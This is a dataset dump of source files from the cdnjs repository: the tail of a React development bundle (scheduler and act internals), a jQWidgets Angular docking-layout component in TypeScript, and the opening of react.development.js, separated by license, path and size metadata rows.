push(taskQueue, timer);
} else {
// Remaining timers are pending.
return;
}
timer = peek(timerQueue);
}
}
function handleTimeout(currentTime) {
isHostTimeoutScheduled = false;
advanceTimers(currentTime);
if (!isHostCallbackScheduled) {
if (peek(taskQueue) !== null) {
isHostCallbackScheduled = true;
requestHostCallback(flushWork);
} else {
var firstTimer = peek(timerQueue);
if (firstTimer !== null) {
requestHostTimeout(handleTimeout, firstTimer.startTime - currentTime);
}
}
}
}
function flushWork(hasTimeRemaining, initialTime) {
isHostCallbackScheduled = false;
if (isHostTimeoutScheduled) {
// We scheduled a timeout but it's no longer needed. Cancel it.
isHostTimeoutScheduled = false;
cancelHostTimeout();
}
isPerformingWork = true;
var previousPriorityLevel = currentPriorityLevel;
try {
if (enableProfiling) {
try {
return workLoop(hasTimeRemaining, initialTime);
} catch (error) {
if (currentTask !== null) {
var currentTime = getCurrentTime();
markTaskErrored(currentTask, currentTime);
currentTask.isQueued = false;
}
throw error;
}
} else {
// No catch in prod code path.
return workLoop(hasTimeRemaining, initialTime);
}
} finally {
currentTask = null;
currentPriorityLevel = previousPriorityLevel;
isPerformingWork = false;
}
}
function workLoop(hasTimeRemaining, initialTime) {
var currentTime = initialTime;
advanceTimers(currentTime);
currentTask = peek(taskQueue);
while (currentTask !== null && !(enableSchedulerDebugging )) {
if (currentTask.expirationTime > currentTime && (!hasTimeRemaining || shouldYieldToHost())) {
// This currentTask hasn't expired, and we've reached the deadline.
break;
}
var callback = currentTask.callback;
if (typeof callback === 'function') {
currentTask.callback = null;
currentPriorityLevel = currentTask.priorityLevel;
var didUserCallbackTimeout = currentTask.expirationTime <= currentTime;
var continuationCallback = callback(didUserCallbackTimeout);
currentTime = getCurrentTime();
if (typeof continuationCallback === 'function') {
currentTask.callback = continuationCallback;
} else {
if (currentTask === peek(taskQueue)) {
pop(taskQueue);
}
}
advanceTimers(currentTime);
} else {
pop(taskQueue);
}
currentTask = peek(taskQueue);
} // Return whether there's additional work
if (currentTask !== null) {
return true;
} else {
var firstTimer = peek(timerQueue);
if (firstTimer !== null) {
requestHostTimeout(handleTimeout, firstTimer.startTime - currentTime);
}
return false;
}
}
function unstable_runWithPriority(priorityLevel, eventHandler) {
switch (priorityLevel) {
case ImmediatePriority:
case UserBlockingPriority:
case NormalPriority:
case LowPriority:
case IdlePriority:
break;
default:
priorityLevel = NormalPriority;
}
var previousPriorityLevel = currentPriorityLevel;
currentPriorityLevel = priorityLevel;
try {
return eventHandler();
} finally {
currentPriorityLevel = previousPriorityLevel;
}
}
function unstable_next(eventHandler) {
var priorityLevel;
switch (currentPriorityLevel) {
case ImmediatePriority:
case UserBlockingPriority:
case NormalPriority:
// Shift down to normal priority
priorityLevel = NormalPriority;
break;
default:
// Anything lower than normal priority should remain at the current level.
priorityLevel = currentPriorityLevel;
break;
}
var previousPriorityLevel = currentPriorityLevel;
currentPriorityLevel = priorityLevel;
try {
return eventHandler();
} finally {
currentPriorityLevel = previousPriorityLevel;
}
}
function unstable_wrapCallback(callback) {
var parentPriorityLevel = currentPriorityLevel;
return function () {
// This is a fork of runWithPriority, inlined for performance.
var previousPriorityLevel = currentPriorityLevel;
currentPriorityLevel = parentPriorityLevel;
try {
return callback.apply(this, arguments);
} finally {
currentPriorityLevel = previousPriorityLevel;
}
};
}
function unstable_scheduleCallback(priorityLevel, callback, options) {
var currentTime = getCurrentTime();
var startTime;
if (typeof options === 'object' && options !== null) {
var delay = options.delay;
if (typeof delay === 'number' && delay > 0) {
startTime = currentTime + delay;
} else {
startTime = currentTime;
}
} else {
startTime = currentTime;
}
var timeout;
switch (priorityLevel) {
case ImmediatePriority:
timeout = IMMEDIATE_PRIORITY_TIMEOUT;
break;
case UserBlockingPriority:
timeout = USER_BLOCKING_PRIORITY_TIMEOUT;
break;
case IdlePriority:
timeout = IDLE_PRIORITY_TIMEOUT;
break;
case LowPriority:
timeout = LOW_PRIORITY_TIMEOUT;
break;
case NormalPriority:
default:
timeout = NORMAL_PRIORITY_TIMEOUT;
break;
}
var expirationTime = startTime + timeout;
var newTask = {
id: taskIdCounter++,
callback: callback,
priorityLevel: priorityLevel,
startTime: startTime,
expirationTime: expirationTime,
sortIndex: -1
};
if (startTime > currentTime) {
// This is a delayed task.
newTask.sortIndex = startTime;
push(timerQueue, newTask);
if (peek(taskQueue) === null && newTask === peek(timerQueue)) {
// All tasks are delayed, and this is the task with the earliest delay.
if (isHostTimeoutScheduled) {
// Cancel an existing timeout.
cancelHostTimeout();
} else {
isHostTimeoutScheduled = true;
} // Schedule a timeout.
requestHostTimeout(handleTimeout, startTime - currentTime);
}
} else {
newTask.sortIndex = expirationTime;
push(taskQueue, newTask);
// wait until the next time we yield.
if (!isHostCallbackScheduled && !isPerformingWork) {
isHostCallbackScheduled = true;
requestHostCallback(flushWork);
}
}
return newTask;
}
function unstable_pauseExecution() {
}
function unstable_continueExecution() {
if (!isHostCallbackScheduled && !isPerformingWork) {
isHostCallbackScheduled = true;
requestHostCallback(flushWork);
}
}
function unstable_getFirstCallbackNode() {
return peek(taskQueue);
}
function unstable_cancelCallback(task) {
// remove from the queue because you can't remove arbitrary nodes from an
// array based heap, only the first one.)
task.callback = null;
}
function unstable_getCurrentPriorityLevel() {
return currentPriorityLevel;
}
var isMessageLoopRunning = false;
var scheduledHostCallback = null;
var taskTimeoutID = -1; // Scheduler periodically yields in case there is other work on the main
// thread, like user events. By default, it yields multiple times per frame.
// It does not attempt to align with frame boundaries, since most tasks don't
// need to be frame aligned; for those that do, use requestAnimationFrame.
var frameInterval = frameYieldMs;
var startTime = -1;
function shouldYieldToHost() {
var timeElapsed = getCurrentTime() - startTime;
if (timeElapsed < frameInterval) {
// The main thread has only been blocked for a really short amount of time;
// smaller than a single frame. Don't yield yet.
return false;
} // The main thread has been blocked for a non-negligible amount of time. We
return true;
}
function requestPaint() {
}
function forceFrameRate(fps) {
if (fps < 0 || fps > 125) {
// Using console['error'] to evade Babel and ESLint
console['error']('forceFrameRate takes a positive int between 0 and 125, ' + 'forcing frame rates higher than 125 fps is not supported');
return;
}
if (fps > 0) {
frameInterval = Math.floor(1000 / fps);
} else {
// reset the framerate
frameInterval = frameYieldMs;
}
}
var performWorkUntilDeadline = function () {
if (scheduledHostCallback !== null) {
var currentTime = getCurrentTime(); // Keep track of the start time so we can measure how long the main thread
// has been blocked.
startTime = currentTime;
var hasTimeRemaining = true; // If a scheduler task throws, exit the current browser task so the
// error can be observed.
//
// Intentionally not using a try-catch, since that makes some debugging
// techniques harder. Instead, if `scheduledHostCallback` errors, then
// `hasMoreWork` will remain true, and we'll continue the work loop.
var hasMoreWork = true;
try {
hasMoreWork = scheduledHostCallback(hasTimeRemaining, currentTime);
} finally {
if (hasMoreWork) {
// If there's more work, schedule the next message event at the end
// of the preceding one.
schedulePerformWorkUntilDeadline();
} else {
isMessageLoopRunning = false;
scheduledHostCallback = null;
}
}
} else {
isMessageLoopRunning = false;
} // Yielding to the browser will give it a chance to paint, so we can
};
var schedulePerformWorkUntilDeadline;
if (typeof localSetImmediate === 'function') {
// Node.js and old IE.
// There's a few reasons for why we prefer setImmediate.
//
// Unlike MessageChannel, it doesn't prevent a Node.js process from exiting.
// (Even though this is a DOM fork of the Scheduler, you could get here
// with a mix of Node.js 15+, which has a MessageChannel, and jsdom.)
// https://github.com/facebook/react/issues/20756
//
// But also, it runs earlier which is the semantic we want.
// If other browsers ever implement it, it's better to use it.
// Although both of these would be inferior to native scheduling.
schedulePerformWorkUntilDeadline = function () {
localSetImmediate(performWorkUntilDeadline);
};
} else if (typeof MessageChannel !== 'undefined') {
// DOM and Worker environments.
// We prefer MessageChannel because of the 4ms setTimeout clamping.
var channel = new MessageChannel();
var port = channel.port2;
channel.port1.onmessage = performWorkUntilDeadline;
schedulePerformWorkUntilDeadline = function () {
port.postMessage(null);
};
} else {
// We should only fallback here in non-browser environments.
schedulePerformWorkUntilDeadline = function () {
localSetTimeout(performWorkUntilDeadline, 0);
};
}
function requestHostCallback(callback) {
scheduledHostCallback = callback;
if (!isMessageLoopRunning) {
isMessageLoopRunning = true;
schedulePerformWorkUntilDeadline();
}
}
function requestHostTimeout(callback, ms) {
taskTimeoutID = localSetTimeout(function () {
callback(getCurrentTime());
}, ms);
}
function cancelHostTimeout() {
localClearTimeout(taskTimeoutID);
taskTimeoutID = -1;
}
var unstable_requestPaint = requestPaint;
var unstable_Profiling = null;
var Scheduler = /*#__PURE__*/Object.freeze({
__proto__: null,
unstable_ImmediatePriority: ImmediatePriority,
unstable_UserBlockingPriority: UserBlockingPriority,
unstable_NormalPriority: NormalPriority,
unstable_IdlePriority: IdlePriority,
unstable_LowPriority: LowPriority,
unstable_runWithPriority: unstable_runWithPriority,
unstable_next: unstable_next,
unstable_scheduleCallback: unstable_scheduleCallback,
unstable_cancelCallback: unstable_cancelCallback,
unstable_wrapCallback: unstable_wrapCallback,
unstable_getCurrentPriorityLevel: unstable_getCurrentPriorityLevel,
unstable_shouldYield: shouldYieldToHost,
unstable_requestPaint: unstable_requestPaint,
unstable_continueExecution: unstable_continueExecution,
unstable_pauseExecution: unstable_pauseExecution,
unstable_getFirstCallbackNode: unstable_getFirstCallbackNode,
get unstable_now () { return getCurrentTime; },
unstable_forceFrameRate: forceFrameRate,
unstable_Profiling: unstable_Profiling
});
var ReactSharedInternals$1 = {
ReactCurrentDispatcher: ReactCurrentDispatcher,
ReactCurrentOwner: ReactCurrentOwner,
ReactCurrentBatchConfig: ReactCurrentBatchConfig,
// Used by renderers to avoid bundling object-assign twice in UMD bundles:
assign: assign,
// Re-export the schedule API(s) for UMD bundles.
// This avoids introducing a dependency on a new UMD global in a minor update,
// Since that would be a breaking change (e.g. for all existing CodeSandboxes).
// This re-export is only required for UMD bundles;
// CJS bundles use the shared NPM package.
Scheduler: Scheduler
};
{
ReactSharedInternals$1.ReactCurrentActQueue = ReactCurrentActQueue;
ReactSharedInternals$1.ReactDebugCurrentFrame = ReactDebugCurrentFrame;
}
function startTransition(scope) {
var prevTransition = ReactCurrentBatchConfig.transition;
ReactCurrentBatchConfig.transition = 1;
try {
scope();
} finally {
ReactCurrentBatchConfig.transition = prevTransition;
{
if (prevTransition !== 1 && warnOnSubscriptionInsideStartTransition && ReactCurrentBatchConfig._updatedFibers) {
var updatedFibersCount = ReactCurrentBatchConfig._updatedFibers.size;
if (updatedFibersCount > 10) {
warn('Detected a large number of updates inside startTransition. ' + 'If this is due to a subscription please re-write it to use React provided hooks. ' + 'Otherwise concurrent mode guarantees are off the table.');
}
ReactCurrentBatchConfig._updatedFibers.clear();
}
}
}
}
var didWarnAboutMessageChannel = false;
var enqueueTaskImpl = null;
function enqueueTask(task) {
if (enqueueTaskImpl === null) {
try {
// read require off the module object to get around the bundlers.
// we don't want them to detect a require and bundle a Node polyfill.
var requireString = ('require' + Math.random()).slice(0, 7);
var nodeRequire = module && module[requireString]; // assuming we're in node, let's try to get node's
// version of setImmediate, bypassing fake timers if any.
enqueueTaskImpl = nodeRequire.call(module, 'timers').setImmediate;
} catch (_err) {
// we're in a browser
// we can't use regular timers because they may still be faked
// so we try MessageChannel+postMessage instead
enqueueTaskImpl = function (callback) {
{
if (didWarnAboutMessageChannel === false) {
didWarnAboutMessageChannel = true;
if (typeof MessageChannel === 'undefined') {
error('This browser does not have a MessageChannel implementation, ' + 'so enqueuing tasks via await act(async () => ...) will fail. ' + 'Please file an issue at https://github.com/facebook/react/issues ' + 'if you encounter this warning.');
}
}
}
var channel = new MessageChannel();
channel.port1.onmessage = callback;
channel.port2.postMessage(undefined);
};
}
}
return enqueueTaskImpl(task);
}
var actScopeDepth = 0;
var didWarnNoAwaitAct = false;
function act(callback) {
{
// `act` calls can be nested, so we track the depth. This represents the
// number of `act` scopes on the stack.
var prevActScopeDepth = actScopeDepth;
actScopeDepth++;
if (ReactCurrentActQueue.current === null) {
// This is the outermost `act` scope. Initialize the queue. The reconciler
// will detect the queue and use it instead of Scheduler.
ReactCurrentActQueue.current = [];
}
var prevIsBatchingLegacy = ReactCurrentActQueue.isBatchingLegacy;
var result;
try {
// Used to reproduce behavior of `batchedUpdates` in legacy mode. Only
// set to `true` while the given callback is executed, not for updates
// triggered during an async event, because this is how the legacy
// implementation of `act` behaved.
ReactCurrentActQueue.isBatchingLegacy = true;
result = callback(); // Replicate behavior of original `act` implementation in legacy mode,
// which flushed updates immediately after the scope function exits, even
// if it's an async function.
if (!prevIsBatchingLegacy && ReactCurrentActQueue.didScheduleLegacyUpdate) {
var queue = ReactCurrentActQueue.current;
if (queue !== null) {
ReactCurrentActQueue.didScheduleLegacyUpdate = false;
flushActQueue(queue);
}
}
} catch (error) {
popActScope(prevActScopeDepth);
throw error;
} finally {
ReactCurrentActQueue.isBatchingLegacy = prevIsBatchingLegacy;
}
if (result !== null && typeof result === 'object' && typeof result.then === 'function') {
var thenableResult = result; // The callback is an async function (i.e. returned a promise). Wait
// for it to resolve before exiting the current scope.
var wasAwaited = false;
var thenable = {
then: function (resolve, reject) {
wasAwaited = true;
thenableResult.then(function (returnValue) {
popActScope(prevActScopeDepth);
if (actScopeDepth === 0) {
// We've exited the outermost act scope. Recursively flush the
// queue until there's no remaining work.
recursivelyFlushAsyncActWork(returnValue, resolve, reject);
} else {
resolve(returnValue);
}
}, function (error) {
// The callback threw an error.
popActScope(prevActScopeDepth);
reject(error);
});
}
};
{
if (!didWarnNoAwaitAct && typeof Promise !== 'undefined') {
// eslint-disable-next-line no-undef
Promise.resolve().then(function () {}).then(function () {
if (!wasAwaited) {
didWarnNoAwaitAct = true;
error('You called act(async () => ...) without await. ' + 'This could lead to unexpected testing behaviour, ' + 'interleaving multiple act calls and mixing their ' + 'scopes. ' + 'You should - await act(async () => ...);');
}
});
}
}
return thenable;
} else {
var returnValue = result; // The callback is not an async function. Exit the current scope
// immediately, without awaiting.
popActScope(prevActScopeDepth);
if (actScopeDepth === 0) {
// Exiting the outermost act scope. Flush the queue.
var _queue = ReactCurrentActQueue.current;
if (_queue !== null) {
flushActQueue(_queue);
ReactCurrentActQueue.current = null;
} // Return a thenable. If the user awaits it, we'll flush again in
// case additional work was scheduled by a microtask.
var _thenable = {
then: function (resolve, reject) {
// Confirm we haven't re-entered another `act` scope, in case
// the user does something weird like await the thenable
// multiple times.
if (ReactCurrentActQueue.current === null) {
// Recursively flush the queue until there's no remaining work.
ReactCurrentActQueue.current = [];
recursivelyFlushAsyncActWork(returnValue, resolve, reject);
} else {
resolve(returnValue);
}
}
};
return _thenable;
} else {
// Since we're inside a nested `act` scope, the returned thenable
// immediately resolves. The outer scope will flush the queue.
var _thenable2 = {
then: function (resolve, reject) {
resolve(returnValue);
}
};
return _thenable2;
}
}
}
}
function popActScope(prevActScopeDepth) {
{
if (prevActScopeDepth !== actScopeDepth - 1) {
error('You seem to have overlapping act() calls, this is not supported. ' + 'Be sure to await previous act() calls before making a new one. ');
}
actScopeDepth = prevActScopeDepth;
}
}
function recursivelyFlushAsyncActWork(returnValue, resolve, reject) {
{
var queue = ReactCurrentActQueue.current;
if (queue !== null) {
try {
flushActQueue(queue);
enqueueTask(function () {
if (queue.length === 0) {
// No additional work was scheduled. Finish.
ReactCurrentActQueue.current = null;
resolve(returnValue);
} else {
// Keep flushing work until there's none left.
recursivelyFlushAsyncActWork(returnValue, resolve, reject);
}
});
} catch (error) {
reject(error);
}
} else {
resolve(returnValue);
}
}
}
var isFlushing = false;
function flushActQueue(queue) {
{
if (!isFlushing) {
// Prevent re-entrance.
isFlushing = true;
var i = 0;
try {
for (; i < queue.length; i++) {
var callback = queue[i];
do {
callback = callback(true);
} while (callback !== null);
}
queue.length = 0;
} catch (error) {
// If something throws, leave the remaining callbacks on the queue.
queue = queue.slice(i + 1);
throw error;
} finally {
isFlushing = false;
}
}
}
}
var createElement$1 = createElementWithValidation ;
var cloneElement$1 = cloneElementWithValidation ;
var createFactory = createFactoryWithValidation ;
var Children = {
map: mapChildren,
forEach: forEachChildren,
count: countChildren,
toArray: toArray,
only: onlyChild
};
exports.Children = Children;
exports.Component = Component;
exports.PureComponent = PureComponent;
exports.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED = ReactSharedInternals$1;
exports.cloneElement = cloneElement$1;
exports.createContext = createContext;
exports.createElement = createElement$1;
exports.createFactory = createFactory;
exports.createRef = createRef;
exports.forwardRef = forwardRef;
exports.isValidElement = isValidElement;
exports.lazy = lazy;
exports.memo = memo;
exports.startTransition = startTransition;
exports.unstable_act = act;
exports.unstable_createMutableSource = createMutableSource;
exports.unstable_useMutableSource = useMutableSource;
exports.unstable_useOpaqueIdentifier = useOpaqueIdentifier;
exports.useCallback = useCallback;
exports.useContext = useContext;
exports.useDebugValue = useDebugValue;
exports.useDeferredValue = useDeferredValue;
exports.useEffect = useEffect;
exports.useImperativeHandle = useImperativeHandle;
exports.useLayoutEffect = useLayoutEffect;
exports.useMemo = useMemo;
exports.useReducer = useReducer;
exports.useRef = useRef;
exports.useState = useState;
exports.useTransition = useTransition;
exports.version = ReactVersion;
})));
|
mit
|
cdnjs/cdnjs
|
ajax/libs/jqwidgets/13.1.0/jqwidgets-ts/angular_jqxdockinglayout.ts
|
8521
|
/*
jQWidgets v13.1.0 (2021-Nov)
Copyright (c) 2011-2021 jQWidgets.
License: https://jqwidgets.com/license/
*/
/* eslint-disable */
/// <reference path="jqwidgets.d.ts" />
import '../jqwidgets/jqxcore.js';
import '../jqwidgets/jqxbuttons.js';
import '../jqwidgets/jqxwindow.js';
import '../jqwidgets/jqxribbon.js';
import '../jqwidgets/jqxlayout.js';
import '../jqwidgets/jqxmenu.js';
import '../jqwidgets/jqxscrollbar.js';
import '../jqwidgets/jqxdockinglayout.js';
import { Component, Input, Output, EventEmitter, ElementRef, OnChanges, SimpleChanges } from '@angular/core';
declare let JQXLite: any;
@Component({
selector: 'jqxDockingLayout',
template: '<div><ng-content></ng-content></div>'
})
export class jqxDockingLayoutComponent implements OnChanges
{
@Input('contextMenu') attrContextMenu: boolean;
@Input('layout') attrLayout: Array<jqwidgets.DockingLayoutLayout>;
@Input('minGroupHeight') attrMinGroupHeight: number | string;
@Input('minGroupWidth') attrMinGroupWidth: number | string;
@Input('resizable') attrResizable: boolean;
@Input('rtl') attrRtl: boolean;
@Input('theme') attrTheme: string;
@Input('width') attrWidth: string | number;
@Input('height') attrHeight: string | number;
@Input('auto-create') autoCreate: boolean = true;
properties: string[] = ['contextMenu','height','layout','minGroupHeight','minGroupWidth','resizable','rtl','theme','width'];
host: any;
elementRef: ElementRef;
widgetObject: jqwidgets.jqxDockingLayout;
constructor(containerElement: ElementRef) {
this.elementRef = containerElement;
}
ngOnInit() {
if (this.autoCreate) {
this.createComponent();
}
};
ngOnChanges(changes: SimpleChanges) {
if (this.host) {
for (let i = 0; i < this.properties.length; i++) {
let attrName = 'attr' + this.properties[i].substring(0, 1).toUpperCase() + this.properties[i].substring(1);
let areEqual: boolean = false;
if (this[attrName] !== undefined) {
if (typeof this[attrName] === 'object') {
if (this[attrName] instanceof Array) {
areEqual = this.arraysEqual(this[attrName], this.host.jqxDockingLayout(this.properties[i]));
}
if (areEqual) {
return false;
}
this.host.jqxDockingLayout(this.properties[i], this[attrName]);
continue;
}
if (this[attrName] !== this.host.jqxDockingLayout(this.properties[i])) {
this.host.jqxDockingLayout(this.properties[i], this[attrName]);
}
}
}
}
}
arraysEqual(attrValue: any, hostValue: any): boolean {
if ((attrValue && !hostValue) || (!attrValue && hostValue)) {
return false;
}
if (attrValue.length != hostValue.length) {
return false;
}
for (let i = 0; i < attrValue.length; i++) {
if (attrValue[i] !== hostValue[i]) {
return false;
}
}
return true;
}
manageAttributes(): any {
let options = {};
for (let i = 0; i < this.properties.length; i++) {
let attrName = 'attr' + this.properties[i].substring(0, 1).toUpperCase() + this.properties[i].substring(1);
if (this[attrName] !== undefined) {
options[this.properties[i]] = this[attrName];
}
}
return options;
}
moveClasses(parentEl: HTMLElement, childEl: HTMLElement): void {
let classes: any = parentEl.classList;
if (classes.length > 0) {
childEl.classList.add(...classes);
}
parentEl.className = '';
}
moveStyles(parentEl: HTMLElement, childEl: HTMLElement): void {
let style = parentEl.style.cssText;
childEl.style.cssText = style
parentEl.style.cssText = '';
}
createComponent(options?: any): void {
if (this.host) {
return;
}
if (options) {
JQXLite.extend(options, this.manageAttributes());
}
else {
options = this.manageAttributes();
}
this.host = JQXLite(this.elementRef.nativeElement.firstChild);
this.moveClasses(this.elementRef.nativeElement, this.host[0]);
this.moveStyles(this.elementRef.nativeElement, this.host[0]);
this.__wireEvents__();
this.widgetObject = jqwidgets.createInstance(this.host, 'jqxDockingLayout', options);
}
createWidget(options?: any): void {
this.createComponent(options);
}
__updateRect__() : void {
if(this.host) this.host.css({ width: this.attrWidth, height: this.attrHeight });
}
setOptions(options: any) : void {
this.host.jqxDockingLayout('setOptions', options);
}
// jqxDockingLayoutComponent properties
contextMenu(arg?: boolean): boolean {
if (arg !== undefined) {
this.host.jqxDockingLayout('contextMenu', arg);
} else {
return this.host.jqxDockingLayout('contextMenu');
}
}
height(arg?: string | number): string | number {
if (arg !== undefined) {
this.host.jqxDockingLayout('height', arg);
} else {
return this.host.jqxDockingLayout('height');
}
}
layout(arg?: Array<jqwidgets.DockingLayoutLayout>): Array<jqwidgets.DockingLayoutLayout> {
if (arg !== undefined) {
this.host.jqxDockingLayout('layout', arg);
} else {
return this.host.jqxDockingLayout('layout');
}
}
minGroupHeight(arg?: number | string): number | string {
if (arg !== undefined) {
this.host.jqxDockingLayout('minGroupHeight', arg);
} else {
return this.host.jqxDockingLayout('minGroupHeight');
}
}
minGroupWidth(arg?: number | string): number | string {
if (arg !== undefined) {
this.host.jqxDockingLayout('minGroupWidth', arg);
} else {
return this.host.jqxDockingLayout('minGroupWidth');
}
}
resizable(arg?: boolean): boolean {
if (arg !== undefined) {
this.host.jqxDockingLayout('resizable', arg);
} else {
return this.host.jqxDockingLayout('resizable');
}
}
rtl(arg?: boolean): boolean {
if (arg !== undefined) {
this.host.jqxDockingLayout('rtl', arg);
} else {
return this.host.jqxDockingLayout('rtl');
}
}
theme(arg?: string): string {
if (arg !== undefined) {
this.host.jqxDockingLayout('theme', arg);
} else {
return this.host.jqxDockingLayout('theme');
}
}
width(arg?: string | number): string | number {
if (arg !== undefined) {
this.host.jqxDockingLayout('width', arg);
} else {
return this.host.jqxDockingLayout('width');
}
}
// jqxDockingLayoutComponent functions
addFloatGroup(width: number | string, height: number | string, position: jqwidgets.DockingLayoutLayoutPosition, panelType: string, title: string, content: string, initContent: any): void {
this.host.jqxDockingLayout('addFloatGroup', width, height, position, panelType, title, content, initContent);
}
destroy(): void {
this.host.jqxDockingLayout('destroy');
}
loadLayout(layout: any): void {
this.host.jqxDockingLayout('loadLayout', layout);
}
refresh(): void {
this.host.jqxDockingLayout('refresh');
}
render(): void {
this.host.jqxDockingLayout('render');
}
saveLayout(): any {
return this.host.jqxDockingLayout('saveLayout');
}
// jqxDockingLayoutComponent events
@Output() onDock = new EventEmitter();
@Output() onFloatGroupClosed = new EventEmitter();
@Output() onFloat = new EventEmitter();
@Output() onPin = new EventEmitter();
@Output() onResize = new EventEmitter();
@Output() onUnpin = new EventEmitter();
__wireEvents__(): void {
this.host.on('dock', (eventData: any) => { this.onDock.emit(eventData); });
this.host.on('floatGroupClosed', (eventData: any) => { this.onFloatGroupClosed.emit(eventData); });
this.host.on('float', (eventData: any) => { this.onFloat.emit(eventData); });
this.host.on('pin', (eventData: any) => { this.onPin.emit(eventData); });
this.host.on('resize', (eventData: any) => { this.onResize.emit(eventData); });
this.host.on('unpin', (eventData: any) => { this.onUnpin.emit(eventData); });
}
} //jqxDockingLayoutComponent
|
mit
|
cdnjs/cdnjs
|
ajax/libs/react/18.0.0-alpha-79b8fc667-20210920/cjs/react.development.js
|
83544
|
/** @license React vundefined
* react.development.js
*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
'use strict';
if (process.env.NODE_ENV !== "production") {
(function() {
'use strict';
var _assign = require('object-assign');
var ReactVersion = '18.0.0-79b8fc667-20210920';
// ATTENTION
// When adding new symbols to this file,
// Please consider also adding to 'react-devtools-shared/src/backend/ReactSymbols'
// The Symbol used to tag the ReactElement-like types. If there is no native Symbol
// nor polyfill, then a plain number is used for performance.
var REACT_ELEMENT_TYPE = 0xeac7;
var REACT_PORTAL_TYPE = 0xeaca;
exports.Fragment = 0xeacb;
exports.StrictMode = 0xeacc;
exports.Profiler = 0xead2;
var REACT_PROVIDER_TYPE = 0xeacd;
var REACT_CONTEXT_TYPE = 0xeace;
var REACT_FORWARD_REF_TYPE = 0xead0;
exports.Suspense = 0xead1;
exports.SuspenseList = 0xead8;
var REACT_MEMO_TYPE = 0xead3;
var REACT_LAZY_TYPE = 0xead4;
var REACT_SCOPE_TYPE = 0xead7;
var REACT_OPAQUE_ID_TYPE = 0xeae0;
var REACT_DEBUG_TRACING_MODE_TYPE = 0xeae1;
var REACT_OFFSCREEN_TYPE = 0xeae2;
var REACT_LEGACY_HIDDEN_TYPE = 0xeae3;
var REACT_CACHE_TYPE = 0xeae4;
if (typeof Symbol === 'function' && Symbol.for) {
var symbolFor = Symbol.for;
REACT_ELEMENT_TYPE = symbolFor('react.element');
REACT_PORTAL_TYPE = symbolFor('react.portal');
exports.Fragment = symbolFor('react.fragment');
exports.StrictMode = symbolFor('react.strict_mode');
exports.Profiler = symbolFor('react.profiler');
REACT_PROVIDER_TYPE = symbolFor('react.provider');
REACT_CONTEXT_TYPE = symbolFor('react.context');
REACT_FORWARD_REF_TYPE = symbolFor('react.forward_ref');
exports.Suspense = symbolFor('react.suspense');
exports.SuspenseList = symbolFor('react.suspense_list');
REACT_MEMO_TYPE = symbolFor('react.memo');
REACT_LAZY_TYPE = symbolFor('react.lazy');
REACT_SCOPE_TYPE = symbolFor('react.scope');
REACT_OPAQUE_ID_TYPE = symbolFor('react.opaque.id');
REACT_DEBUG_TRACING_MODE_TYPE = symbolFor('react.debug_trace_mode');
REACT_OFFSCREEN_TYPE = symbolFor('react.offscreen');
REACT_LEGACY_HIDDEN_TYPE = symbolFor('react.legacy_hidden');
REACT_CACHE_TYPE = symbolFor('react.cache');
}
var MAYBE_ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator;
var FAUX_ITERATOR_SYMBOL = '@@iterator';
function getIteratorFn(maybeIterable) {
if (maybeIterable === null || typeof maybeIterable !== 'object') {
return null;
}
var maybeIterator = MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL];
if (typeof maybeIterator === 'function') {
return maybeIterator;
}
return null;
}
/**
* Keeps track of the current dispatcher.
*/
var ReactCurrentDispatcher = {
/**
* @internal
* @type {ReactComponent}
*/
current: null
};
/**
* Keeps track of the current batch's configuration such as how long an update
* should suspend for if it needs to.
*/
var ReactCurrentBatchConfig = {
transition: 0
};
{
ReactCurrentBatchConfig._updatedFibers = new Set();
}
var ReactCurrentActQueue = {
current: null,
// Our internal tests use a custom implementation of `act` that works by
// mocking the Scheduler package. Use this field to disable the `act` warning.
// TODO: Maybe the warning should be disabled by default, and then turned
// on at the testing frameworks layer? Instead of what we do now, which
// is check if a `jest` global is defined.
disableActWarning: false,
// Used to reproduce behavior of `batchedUpdates` in legacy mode.
isBatchingLegacy: false,
didScheduleLegacyUpdate: false
};
/**
* Keeps track of the current owner.
*
* The current owner is the component who should own any components that are
* currently being constructed.
*/
var ReactCurrentOwner = {
/**
* @internal
* @type {ReactComponent}
*/
current: null
};
var ReactDebugCurrentFrame = {};
var currentExtraStackFrame = null;
function setExtraStackFrame(stack) {
{
currentExtraStackFrame = stack;
}
}
{
ReactDebugCurrentFrame.setExtraStackFrame = function (stack) {
{
currentExtraStackFrame = stack;
}
}; // Stack implementation injected by the current renderer.
ReactDebugCurrentFrame.getCurrentStack = null;
ReactDebugCurrentFrame.getStackAddendum = function () {
var stack = ''; // Add an extra top frame while an element is being validated
if (currentExtraStackFrame) {
stack += currentExtraStackFrame;
} // Delegate to the injected renderer-specific implementation
var impl = ReactDebugCurrentFrame.getCurrentStack;
if (impl) {
stack += impl() || '';
}
return stack;
};
}
var ReactSharedInternals = {
ReactCurrentDispatcher: ReactCurrentDispatcher,
ReactCurrentBatchConfig: ReactCurrentBatchConfig,
ReactCurrentOwner: ReactCurrentOwner,
// Used by renderers to avoid bundling object-assign twice in UMD bundles:
assign: _assign
};
{
ReactSharedInternals.ReactDebugCurrentFrame = ReactDebugCurrentFrame;
ReactSharedInternals.ReactCurrentActQueue = ReactCurrentActQueue;
}
// by calls to these methods by a Babel plugin.
//
// In PROD (or in packages without access to React internals),
// they are left as they are instead.
function warn(format) {
{
{
for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
args[_key - 1] = arguments[_key];
}
printWarning('warn', format, args);
}
}
}
function error(format) {
{
{
for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {
args[_key2 - 1] = arguments[_key2];
}
printWarning('error', format, args);
}
}
}
function printWarning(level, format, args) {
// When changing this logic, you might want to also
// update consoleWithStackDev.www.js as well.
{
var ReactDebugCurrentFrame = ReactSharedInternals.ReactDebugCurrentFrame;
var stack = ReactDebugCurrentFrame.getStackAddendum();
if (stack !== '') {
format += '%s';
args = args.concat([stack]);
}
var argsWithFormat = args.map(function (item) {
return '' + item;
}); // Careful: RN currently depends on this prefix
argsWithFormat.unshift('Warning: ' + format); // We intentionally don't use spread (or .apply) directly because it
